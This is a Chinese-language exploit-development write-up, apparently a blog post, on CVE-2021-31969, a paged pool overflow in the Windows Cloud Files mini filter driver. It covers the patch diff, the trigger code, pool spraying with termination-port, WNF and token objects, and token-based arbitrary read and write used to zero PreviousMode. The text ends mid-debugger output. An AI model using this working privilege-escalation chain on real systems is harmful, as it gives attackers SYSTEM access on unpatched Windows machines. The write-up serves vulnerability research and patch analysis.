利用受限块大小的内核池溢出实现权限提升(CVE-2021-31969)

本文详细分析了Windows Cloud Files Mini Filter Driver中的CVE-2021-31969漏洞,探讨了如何通过操纵分页池将受限的池溢出转化为完整的任意读写场景,最终实现SYSTEM权限的获取。

利用受限块大小的内核池溢出实现权限提升(CVE-2021-31969)

引言

内存损坏漏洞的普遍存在持续为利用带来挑战。这种难度的增加源于防御机制的进步和软件系统日益复杂化。虽然基本的概念验证通常足以修补漏洞,但开发能够绕过现有对策的功能性利用程序,为了解高级威胁行为者的能力提供了宝贵见解。这尤其适用于受到严格审查的驱动程序cldflt.sys,自6月以来,每个补丁星期二都持续收到补丁。值得注意的是,它已成为威胁行为者的焦点,紧随对clfs.sys和afd.sys驱动程序的利用。在本文中,我们旨在强调cldflt.sys的重要性,并倡导增加对该驱动程序及其相关组件的研究。

现在转向具体漏洞,CVE-2021-31969最初由于其限制性而显得难以利用。然而,通过操纵分页池,可以将看似孤立的池溢出提升为全面的任意读写场景。此利用授予提升的访问权限,允许以SYSTEM身份获取shell。

描述

Windows Cloud Files Mini Filter Driver权限提升漏洞

受影响版本

  • Windows 10 1809-21H2
  • Windows Server 2019

补丁差异

操作系统:Windows 10 1809 二进制文件:cldflt.sys

补丁前

版本:KB5003217 哈希:316016b70cd25ad43a0710016c85930616fe85ebd69350386f6b3d3060ec717e

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
v7 = *(_DWORD *)(a1 + 8);
someSize = HIWORD(v7);
if ( !_bittest((const int *)&v7, 0xFu) )
{
  *a3 = a1;
  return (unsigned int)v3;
}
allocatedSize = someSize + 8;
allocatedMem = ExAllocatePoolWithTag(PagedPool, someSize + 8, 'pRsH');
allocatedMemRef = allocatedMem;
if ( !allocatedMem )
{
  LODWORD(v3) = -1073741670;
  goto LABEL_3;
}
*(_QWORD *)allocatedMem = *(_QWORD *)a1;
*((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
v3 = (unsigned int)RtlDecompressBuffer(
                     COMPRESSION_FORMAT_LZNT1,
                     (PUCHAR)allocatedMem + 12,// uncompressed_buffer
                     allocatedSize - 12,      // uncompressed_buffer_size
                     (PUCHAR)(a1 + 12),
                     a2 - 12,
                     (PULONG)va);

补丁后

版本:KB5003646 哈希:5cef11352c3497b881ac0731e6b2ae4aab6add1e3107df92b2da46b2a61089a9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
someSize = *(_WORD *)(a1 + 10);
if ( someSize >= 4u )
{
  if ( (*(_DWORD *)(a1 + 8) & 0x8000) == 0 )
  {
    *a3 = a1;
    return (unsigned int)status;
  }
  allocatedSize = someSize + 8;
  allocatedMem = ExAllocatePoolWithTag(PagedPool, allocatedSize, 'pRsH');
  allocatedMemRef = allocatedMem;
  if ( !allocatedMem )
  {
    LODWORD(status) = 0xC000009A;
    goto LABEL_3;
  }
  *(_QWORD *)allocatedMem = *(_QWORD *)a1;
  *((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
  status = (unsigned int)RtlDecompressBuffer(
                           COMPRESSION_FORMAT_LZNT1,
                           (PUCHAR)allocatedMem + 12,// uncompressed_buffer
                           allocatedSize - 12,// uncompressed_buffer_size
                           (PUCHAR)(a1 + 12),
                           a2 - 12,
                           (PULONG)va);

漏洞分析

引入的补丁包含一个验证机制,以确保变量someSize的最小值为4。

在应用此补丁之前,变量someSize没有4的下限,可能导致变量allocatedSize低于12的情况。因此,有时传递给RtlDecompressBuffer函数的UncompressedBufferSize参数取负值,触发无符号整数下溢,循环绕回0xFFFFFFF4。

根据LZNT1规范,压缩缓冲区中的第一个WORD是标头,包含诸如缓冲区是否压缩及其大小等元数据。

压缩数据包含在单个块中。块标头解释为16位值,为0xB038。位15为1,因此块被压缩;位14至12是正确的签名值(3);位11至0为十进制56,因此块大小为59字节。

由于标头用户可控,可以将缓冲区标记为未压缩。

这导致RtlDecompressBuffer的行为类似于memcpy。

大小和数据用户可控,可能发生受控的分页池溢出。

结构

上面显示的变量a1是REPARSE_DATA_BUFFER类型。

1
2
3
4
5
6
7
8
typedef struct _REPARSE_DATA_BUFFER {
  ULONG  ReparseTag;
  USHORT ReparseDataLength;
  USHORT Reserved;
  struct {
    UCHAR DataBuffer[1];
  } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

GenericReparseBuffer.DataBuffer包含由过滤器驱动程序设置的自定义数据。

1
2
3
4
5
6
struct cstmData
{
  WORD flag;
  WORD cstmDataSize;
  UCHAR compressedBuffer[1];
};

第一个WORD是标志,后跟影响池分配的大小,最后是传递给RtlDecompressBuffer的压缩缓冲区。

此数据存储在目录的重解析标记内,并在下面提到的各种条件下被检索和解压缩。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HsmpRpReadBuffer:
v9 = (unsigned int)FltFsControlFile(
                     Instance,
                     FileObject,
                     FSCTL_GET_REPARSE_POINT,
                     0i64,
                     0,
                     reparseData,
                     0x4000u,
                     0i64);

...

status = HsmpRpiDecompressBuffer(reparseData, reparseDataSize, someOut);

触发漏洞

在Windows 10 1809的新副本上,迷你过滤器默认未附加到任何驱动器。

需要注册才能附加它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
HRESULT RegisterAndConnectSyncRoot(LPCWSTR Path, CF_CONNECTION_KEY *Key)
{
    HRESULT                  status = S_OK;
    CF_SYNC_REGISTRATION     reg = { sizeof(CF_SYNC_REGISTRATION) };
    CF_SYNC_POLICIES         pol = { sizeof(CF_SYNC_POLICIES) };
    CF_CALLBACK_REGISTRATION table[1] = { CF_CALLBACK_REGISTRATION_END };

    reg.ProviderName = L"HackProvider";
    reg.ProviderVersion = L"99";

    pol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    pol.Population.Primary = CF_POPULATION_POLICY_FULL;
    pol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED;

    if ((status = CfRegisterSyncRoot(Path, &reg, &pol, 0)) == S_OK)
        status = CfConnectSyncRoot(Path, table, 0, CF_CONNECT_FLAG_NONE, Key);

    return status;
}

现在它将通过其注册的前/后操作处理程序响应文件系统操作。

通过分析处理程序并使用邻近视图进行跟踪,可以找到可能触发解压缩的路径:

诸如将文件转换为占位符、获取(创建)文件句柄或重命名文件等操作可能导致解压缩。

例如,这是在syncroot目录内获取文件句柄时的调用栈:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
4: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8689`7915cf78 fffff807`5505722b     cldflt!HsmpRpiDecompressBuffer
01 ffff8689`7915cf80 fffff807`5503e4b2     cldflt!HsmpRpReadBuffer+0x267
02 ffff8689`7915cff0 fffff807`5505fd29     cldflt!HsmpSetupContexts+0x27a
03 ffff8689`7915d120 fffff807`5505fea9     cldflt!HsmiFltPostECPCREATE+0x47d
04 ffff8689`7915d1c0 fffff807`52a3442e     cldflt!HsmFltPostCREATE+0x9
05 ffff8689`7915d1f0 fffff807`52a33cf3     FLTMGR!FltpPerformPostCallbacks+0x32e
14: kd> dt _FILE_OBJECT @rdx
ntdll!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffff8687`c43a8c00 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffff8687`c43f69a0 _VPB
   +0x018 FsContext        : 0xffff9985`38f8e6f0 Void
   +0x020 FsContext2       : 0xffff9985`36ff4a00 Void
   +0x028 SectionObjectPointer : (null) 
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0x1 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0x1 ''
   +0x04e SharedWrite      : 0x1 ''
   +0x04f SharedDelete     : 0x1 ''
   +0x050 Flags            : 0x40002
   +0x058 FileName         : _UNICODE_STRING "\Windows\Temp\hax\vuln"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 1
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffff8e85`b1dc0910 - 0xffff8e85`b1dc0910 ]
   +0x0d0 FileObjectExtension : (null) 

这意味着我们可以将任意重解析数据写入syncroot内创建的目录,并获取其句柄以触发池溢出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
CreateDirectoryW(OverwriteDir, NULL);

hOverwrite = CreateFileW(
        OverwriteDir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );

status = DeviceIoControl(
        hOverwrite,
        FSCTL_SET_REPARSE_POINT_EX,
        newReparseData,
        newSize,
        NULL,
        0,
        &returned,
        NULL
    );

CloseHandle(hOverWrite);

// Trigger Bug
hOverwrite = CreateFileW(
        OverwriteDir,
        GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );

使用FSCTL_SET_REPARSE_POINT_EX是因为驱动程序为FSCTL_SET_REPARSE_POINT注册了一个前操作处理程序,该处理程序拒绝我们的请求。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( v2->Parameters.FileSystemControl.Buffered.InputBufferLength >= 4
    && (Context && (*(_DWORD *)(*((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0
     || (*(_DWORD *)v2->Parameters.FileSystemControl.Buffered.SystemBuffer & 0xFFFF0FFF) == dword_1E4F0) )
  {
    if ( Context )
    {
      v3 = *((_QWORD *)Context + 2);
      v4 = *(_QWORD *)(*(_QWORD *)(v3 + 16) + 32i64);
    }
    HsmDbgBreakOnStatus(0xC000CF18);
    if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
      && (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
      && BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
    {
      WPP_SF_qqqd(
        WPP_GLOBAL_Control->AttachedDevice,
        17i64,
        &WPP_7c63b6f3d9f33043309d9f605c648752_Traceguids,
        Context,
        v3,
        v4,
        0xC000CF18);
    }
    a1->IoStatus.Information = 0i64;
    v7 = 4;
    a1->IoStatus.Status = 0xC000CF18;
  }

检查在于(*(_DWORD )(((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0。

上下文不受用户控制,因此此调用将始终失败。

如上所述,我们可以控制压缩缓冲区内容,使RtlDecompressBuffer的行为类似于memcpy。

1
2
3
4
5
    // controlled size, controlled content overflow!
    *(WORD *)&payload[0] = 0x8000; // pass flag check
    *(WORD *)&payload[2] = 0x0; // size to trigger underflow
    *(WORD *)&payload[4] = 0x30-1; // lznt1 header: uncompressed, 0x30 size
    memset(&payload[6], 'B', 0x100);

此特定重解析缓冲区导致在分页池中分配0x20大小的块。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
1: kd> !pool @rax
Pool page ffff9f0ab3547090 region is Paged pool
 ffff9f0ab3547000 size:   60 previous size:    0  (Free)       ....
 ffff9f0ab3547060 size:   20 previous size:    0  (Allocated)  Via2
*ffff9f0ab3547080 size:   20 previous size:    0  (Allocated) *HsRp
		Owning component : Unknown (update pooltag.txt)
 ffff9f0ab35470a0 size:   20 previous size:    0  (Allocated)  Ntfo
 ffff9f0ab35470c0 size:   20 previous size:    0  (Allocated)  ObNm
 ffff9f0ab35470e0 size:   20 previous size:    0  (Allocated)  PsJb
 ffff9f0ab3547100 size:   20 previous size:    0  (Allocated)  VdPN
 ffff9f0ab3547120 size:   20 previous size:    0  (Allocated)  Via2

然而,精心制作的LZNT1标头将导致0x30个’B’被复制到内存中,从池分配的0xC偏移开始,该分配只能容纳0x10字节的用户数据,因此导致0x2C字节的溢出,损坏相邻块并最终导致BSOD。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
4: kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF804044ED09A,0xFFFFDA8F76595748,0xFFFFDA8F76594F90)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

溢出内容和大小完全受我们控制,而分配的块固定为0x20字节。

限制

我们只有一次溢出机会,因此我们希望有一个可以执行读写操作的对象。

在现代Windows上,如果低碎片堆(LFH)处于活动状态,则小于0x200字节的池分配由其管理。对于像0x20这样的常见大小,其LFH桶在利用开始时无疑已被激活。在LFH的控制下,易受攻击的块将仅定位在同一桶中其他0x20大小块的相邻位置,这防止了通过溢出到像WNF这样的相邻强大对象来改进原语的简单方法。此外,找到一个0x20大小的对象来实现任意读写是困难的,因为0x20大小的分配只能真正容纳0x10字节的数据。

改进原语

在继续进行利用之前,充分理解手头的原语非常重要。对于涉及探索其最大可能大小的溢出。

尽管看起来我们可以在LZNT1标头中指定的最大大小仅为0xFFF,但这仅适用于一个压缩块。

1
2
3
4
5
typedef struct
{
    WORD Size;
    BYTE Data[4096];
} LZNT1Chunk;

上面的每个结构描述一个页面大小的块。

通过分配多个结构,我们可以使用RtlDecompressBuffer写入最多0xFFFFFFFF字节。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void CreatePayload(PBYTE *CreatedPayload)
{
    WORD       *payload = NULL;
    LZNT1Chunk *buf = NULL;
    DWORD      remaining = OVERFLOW_SIZE;
    DWORD      pagesToOverflow = 0;
    DWORD      effectiveSize = 0;

    pagesToOverflow = (remaining % PAGE_SIZE) ? (remaining / PAGE_SIZE) + 1 : (remaining / PAGE_SIZE);

    payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LZNT1Chunk) * pagesToOverflow + 4); // metadata
    if (!payload) {
        printf("[-] HeapAlloc fail: 0x%08X\n", GetLastError());
        return;
    }

    payload[0] = 0x8000; // pass flag check
    payload[1] = 0; // trigger integer underflow

    buf = (ULONG64)payload + 4;

    for (int i = 0; i < pagesToOverflow; i++) {
        if (remaining >= PAGE_SIZE)
            buf[i].Size = PAGE_SIZE - 1;
        else
            buf[i].Size = remaining - 1;

        effectiveSize = buf[i].Size + 1;
        for (int j = 0; j < effectiveSize / sizeof(DWORD); j++)
            ((DWORD *)(&buf[i].Data))[j] = PAGE_SIZE; // spray 0x1000 values

        remaining -= PAGE_SIZE;
    }

    *CreatedPayload = payload;
    return;
}

但是,回想一下HsmpRpReadBuffer函数仅检索最多0x4000字节的重解析数据,包括标头。这给我们留下了最多不到4页的溢出空间。

利用思路

唯一的逻辑方法仍然是溢出到一个授予我们更多控制权的对象,该对象可能是另一种大小。凭借大约4页的数据要写入,也许我们可以完全写入LFH之外?也许写入另一个子段?

通过在分页池中分配大量0x20块,我们可以耗尽当前所有可用的0x20 LFH桶。当这种情况发生时,后端分配器为一些新的LFH桶分配一个新段。

同时,我们在同一页面中相邻分配大量_WNF_STATE_DATA和_TOKEN对象。这有望耗尽当前所有可用的VS子段,强制前端分配器分配新的VS子段。

不同的子段类型(LFH/VS)可以在池内存中连续。这意味着如果我们幸运(并喷洒足够),我们可以在内存中得到一个与VS子段相邻的LFH桶。

如果受害块和VS子段之间有少于4页的LFH桶,我们可以溢出到VS子段并获得对驻留在那里的WNF和TOKEN对象的控制。

溢出数据将由值为0x1000的DWORD组成。目标是覆盖_WNF_STATE_DATA->AllocatedSize和_WNF_STATE_DATA->DataSize为0x1000,给我们相对的页面读写原语,我们将使用它来操作紧随其后的_TOKEN对象。

LFH池喷洒

存在一个名为_TERMINATION_PORT的对象,它导致0x20大小的分配,并且可以自由分配。

1
2
3
4
5
6
//0x10 bytes (sizeof)
struct _TERMINATION_PORT
{
    struct _TERMINATION_PORT* Next;                                         //0x0
    VOID* Port;                                                             //0x8
}; 

通过调用NtRegisterThreadTerminatePort与ALPC(LPC)端口对象,我们可以在分页池中分配_TERMINATION_PORT的实例。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void SprayTerminationPort(DWORD *Count)
{
    ALPC_PORT_ATTRIBUTES    alpcAttr = { 0 };
    OBJECT_ATTRIBUTES       objAttr = { 0 };
    HANDLE                  hConnPort = NULL;
    UNICODE_STRING          uPortName = { 0 };
    NTSTATUS                status = STATUS_SUCCESS;

    RtlInitUnicodeString(&uPortName, L"\\RPC Control\\My ALPC Test Port");
    InitializeObjectAttributes(&objAttr, &uPortName, 0, NULL, NULL);
    
    alpcAttr.MaxMessageLength = AlpcMaxAllowedMessageLength();

    status = NtAlpcCreatePort(&hConnPort, &objAttr, &alpcAttr);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtAlpcCreatePort Error: 0x%08X\n", status);
        return;
    }

    for (int i = 0; i < *Count; i++)
        NtRegisterThreadTerminatePort(hConnPort);

    printf("[+] Sprayed 0x%lx _TERMINATION_PORT objects\n", *Count);

    g_TerminationPortSprayDone = 1;
    while (!g_FreeTerminationPortObjects)
        Sleep(1500);

    return;
}

此对象将标记到当前线程的_ETHREAD对象上,并在线程终止时释放。

溢出后

执行受控溢出的所有步骤如上所述。假设我们已成功溢出到VS子段,下一步是什么?

如果我们在完成溢出时操作系统尚未崩溃,那是个好迹象。这至少意味着我们没有写入未映射的内存。通过查询所有WNF块,我们可以找到成功覆盖的块。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int WnfFindUsableCorruptedChunk(DWORD WnfObjectSize)
{
    WNF_CHANGE_STAMP stamp = 0;
    BYTE             buf[PAGE_SIZE];
    DWORD            bufSize = WnfObjectSize;
    DWORD            wnfToTokenOffset = WnfObjectSize + 0x50;
    NTSTATUS         status = STATUS_SUCCESS;

    for (int i = 0; i < g_WnfCount; i++) {
        status = NtQueryWnfStateData(&g_Statenames[i], NULL, NULL, &stamp, &buf, &bufSize);
        bufSize = WnfObjectSize;
        if (status != STATUS_BUFFER_TOO_SMALL)
            continue;
        
        printf("[*] Found corrupted chunk: 0x%lx\n", i);
        bufSize = PAGE_SIZE;
        status = NtQueryWnfStateData(&g_Statenames[i], NULL, NULL, &stamp, &buf, &bufSize);
        if (!NT_SUCCESS(status)) {
            puts("something weird");
            printf("0x%08X\n", status);
            continue;
        }

        if (*(DWORD *)((ULONG64)buf + wnfToTokenOffset) == 0x1000)
            continue;

        printf("[*] Found usable chunk: 0x%lx\n", i);
        return i;
    }

    return -1;
}

首先使用初始分配的DataSize执行查询。未溢出的对象将无错误响应,但DataSize已扩大到0x1000的对象将返回STATUS_BUFFER_TOO_SMALL。

现在我们检查是否能够使用此对象进行利用。

标准是其后有一个未触及的_TOKEN对象。

要通过句柄识别目标_TOKEN对象,我们可以在喷洒之前分配两个数组来存储所有句柄和ID。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
BOOL TokenAllocateObject(void)
{
    BOOL             status = TRUE;
    HANDLE           hOriginal = NULL;
    DWORD            returnLen = 0;
    TOKEN_STATISTICS stats = { 0 };

    status = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hOriginal);
    if (!status) {
        printf("[-] OpenProcessToken fail: 0x%08x\n", GetLastError());
        hOriginal = NULL;
        goto out;
    }

    // Allocates a _TOKEN object in kernel pool
    status = DuplicateTokenEx(hOriginal, MAXIMUM_ALLOWED, NULL, SECURITY_ANONYMOUS, TokenPrimary, &g_Tokens[g_TokenCount]);
    if (!status) {
        printf("[-] DuplicateTokenEx fail: 0x%08x\n", GetLastError());
        status = FALSE;
        goto out;
    }

    status = GetTokenInformation(g_Tokens[g_TokenCount], TokenStatistics, &stats, sizeof(TOKEN_STATISTICS), &returnLen);
    if (!status) {
        printf("[-] GetTokenInformation fail: 0x%08x\n", GetLastError());
        status = FALSE;
        goto out;
    }

    g_TokenIds[g_TokenCount] = stats.TokenId.LowPart; // High part is always 0

    g_TokenCount++;

out:
    if (hOriginal)
        CloseHandle(hOriginal);

    return status;
}

使用WNF的相对读取允许我们提取池内存中的TokenId成员并识别其对应的句柄。

任意读写

_TOKEN对象包含许多我们可以修改的指针,以使用Win32 API获得任意读写。

任意读取

NtQueryInformationToken:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
case TokenBnoIsolation:
        }
        if ( Token->BnoIsolationHandlesEntry )
        {
          *((_BYTE *)TokenInformation + 8) = 1;
          *(_QWORD *)TokenInformation = (char *)TokenInformation + 16;
          memmove(
            (char *)TokenInformation + 16,
            Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
            Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
        }

通过将Token->BnoIsolationHandlesEntry设置为用户模式缓冲区,我们可以伪造EntryDescriptor.IsolationPrefix.Buffer和EntryDescriptor.IsolationPrefix.MaximumLength的字段。

数据将被复制到TokenInformation + 16,这是我们提供给API的另一个用户模式缓冲区。

任意写入

NtSetInformationToken:

如果我们指定TokenDefaultDacl作为TokenInformationClass,此函数会调用SepAppendDefaultDacl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void *__fastcall SepAppendDefaultDacl(_TOKEN *Token, unsigned __int16 *UserBuffer)
{
  int v3; // edi
  _ACL *v4; // rbx
  void *result; // rax

  v3 = UserBuffer[1];
  v4 = (_ACL *)&Token->DynamicPart[*(unsigned __int8 *)(Token->PrimaryGroup + 1) + 2];
  result = memmove(v4, UserBuffer, UserBuffer[1]);
  Token->DynamicAvailable -= v3;
  Token->DefaultDacl = v4;
  return result;
}

通过将Token->PrimaryGroup指向包含null的内存的一个字节前,我们可以使*(unsigned __int8 *)(Token->PrimaryGroup + 1) + 2等于2。

我们不能使其为0,因为它是一个无符号字节操作零扩展到64位,如汇编所示:

1
2
3
4
movzx   r8d, byte ptr [rax+1]
mov     rax, [rcx+0B0h]
add     rax, 8
lea     rbx, [rax+r8*4]

然后我们可以将DynamicPart设置为任意地址 - 0x8并获得任意写入。

不过有一个问题。

DynamicPart和PrimaryGroup应指向相同的地址,否则会有不需要的memmove损坏内存。

1
2
3
4
5
6
7
8
9
SepFreeDefaultDacl:
  DynamicPart = TokenObject->DynamicPart;
  PrimaryGroup = (unsigned __int8 *)TokenObject->PrimaryGroup;
  if ( DynamicPart != (unsigned int *)PrimaryGroup )
  {
    memmove(DynamicPart, PrimaryGroup, 4i64 * PrimaryGroup[1] + 8);
    result = (__int64)TokenObject->DynamicPart;
    TokenObject->PrimaryGroup = result;
  }

为了使事情更具限制性,用作大小字段的UserBuffer[1]也必须至少为0x8,这意味着大小字段将破坏写入目标的两个字节。

UserBuffer也被转换为ACL,并且必须通过ACL检查。

1
2
3
4
5
6
7
8
9
//0x8 bytes (sizeof)
struct _ACL
{
    UCHAR AclRevision;                                                      //0x0
    UCHAR Sbz1;                                                             //0x1
    USHORT AclSize;                                                         //0x2
    USHORT AceCount;                                                        //0x4
    USHORT Sbz2;                                                            //0x6
}; 

这将AclRevision成员的值限制在2和4之间。

1
if ( (unsigned __int8)(Acl->AclRevision - 2) <= 2u )

AclCount也应为0以绕过进一步检查。

最终写入的缓冲区应如下所示:

1
2
0x2   0x0    0x8    0x0    0x0     0x0     0x0      0x0
Rev   Sbz1   Sz-1   Sz-2   Cnt-1   Cnt-2   Sbz2-1   Sbz2-2

这不是一个很好的原语,但由于该区域自然发生的内存布局,应该仍然允许我们清零利用线程的PreviousMode字段。

更具体地说,我们可以将DynamicPart和PrimaryGroup都指向_KTHREAD+0x229。

1
2
3
4
5
6
7
8
9
5: kd> dq  0xffffb186051c8378-0x2f8+0x229
ffffb186`051c82a9  00000000`000000ff 40010000`00090100
ffffb186`051c82b9  ff000000`00000000 00000000`000000ff
ffffb186`051c82c9  05000000`0f010000 00000000`00000000
ffffb186`051c82d9  00000000`00000000 00000000`00000000
ffffb186`051c82e9  00000000`00000000 00000000`00000000
ffffb186`051c82f9  00000000`00000000 12000000`00100000
ffffb186`051c8309  80000000`00065800 00ffffb1`86051c80
ffffb186`051c8319  00000000`00000000 70000000`00000000

PrimaryGroup+1然后将指向null,将假ACL复制到_KTHREAD+0x2b1,并允许Sbz1的0x0覆盖PreviousMode。

这有一个副作用,将线程的BasePriority设置为0x8(THREAD_PRIORITY_BELOW_NORMAL),这并不太糟糕。

凭借任意读取和一旦定位到PreviousMode就将其清零的能力,最大的障碍已经克服。所有需要的是找到利用线程的PreviousMode成员的地址。

狩猎EPROCESS

大多数提升技术,包括此技术,要求我们在内核内存中定位EPROCESS结构。一旦我们定位到任意EPROCESS,我们就可以通过其ActiveProcessLinks成员来狩猎利用进程以及系统进程。

在Windows 11 Build 25915之前的Windows版本上,我们可以使用众所周知的NtQuery* API来泄漏内核地址,包括我们自己的EPROCESS地址。

由于这很快将不再有效,并且我们已经有一个灵活的任意读取原语,我正在寻找其他方法来泄漏EPROCESS地址。

有许多方法可以泄漏EPROCESS,例如读取PsInitialSystemProcess全局变量或暴力破解内核地址空间。

我将展示从已知_TOKEN对象泄漏EPROCESS地址的快捷方式。

在浏览我们已经可以从WNF相对读取泄漏的_TOKEN对象成员时,我们可以找到一个SessionObject成员,它指向驻留在非分页0xB0 LFH桶中的块。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
12: kd> !pool 0xffff9788`30cf3bd0
Pool page ffff978830cf3bd0 region is Nonpaged pool
 ffff978830cf3000 size:   50 previous size:    0  (Free)       ....
 ffff978830cf3050 size:   b0 previous size:    0  (Allocated)  AlIn
 ffff978830cf3100 size:   b0 previous size:    0  (Allocated)  Filt
 ffff978830cf31b0 size:   b0 previous size:    0  (Allocated)  Usfl
 ffff978830cf3260 size:   b0 previous size:    0  (Allocated)  Usfl
 ffff978830cf3310 size:   b0 previous size:    0  (Allocated)  Usfl
 ffff978830cf33c0 size:   b0 previous size:    0  (Allocated)  inte
 ffff978830cf3470 size:   b0 previous size:    0  (Allocated)  WPLg
 ffff978830cf3520 size:   b0 previous size:    0  (Allocated)  ExTm
 ffff978830cf35d0 size:   b0 previous size:    0  (Allocated)  Usfl
 ffff978830cf3680 size:   b0 previous size:    0  (Allocated)  ExTm
 ffff978830cf3730 size:   b0 previous size:    0  (Allocated)  ExTm
 ffff978830cf37e0 size:   b0 previous size:    0  (Allocated)  inte
 ffff978830cf3890 size:   b0 previous size:    0  (Allocated)  ITrk
 ffff978830cf3940 size:   b0 previous size:    0  (Allocated)  ExTm
 ffff978830cf39f0 size:   b0 previous size:    0  (Allocated)  inte
 ffff978830cf3aa0 size:   b0 previous size:    0  (Allocated)  inte
*ffff978830cf3b50 size:   b0 previous size:    0  (Allocated) *Sess
		Owning component : Unknown (update pooltag.txt)
 ffff978830cf3c00 size:   b0 previous size:    0  (Allocated)  Filt
 ffff978830cf3cb0 size:   b0 previous size:    0  (Allocated)  MmMl
 ffff978830cf3d60 size:   b0 previous size:    0  (Allocated)  PFXM
 ffff978830cf3e10 size:   b0 previous size:    0  (Allocated)  inte
 ffff978830cf3ec0 size:   b0 previous size:    0  (Allocated)  inte

如果我们浏览其周围的池分配,我们可以找到许多标记为AlIn的分配。

1
2
12: kd> !pool 0xffff9788`30cf4000
Pool page f
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计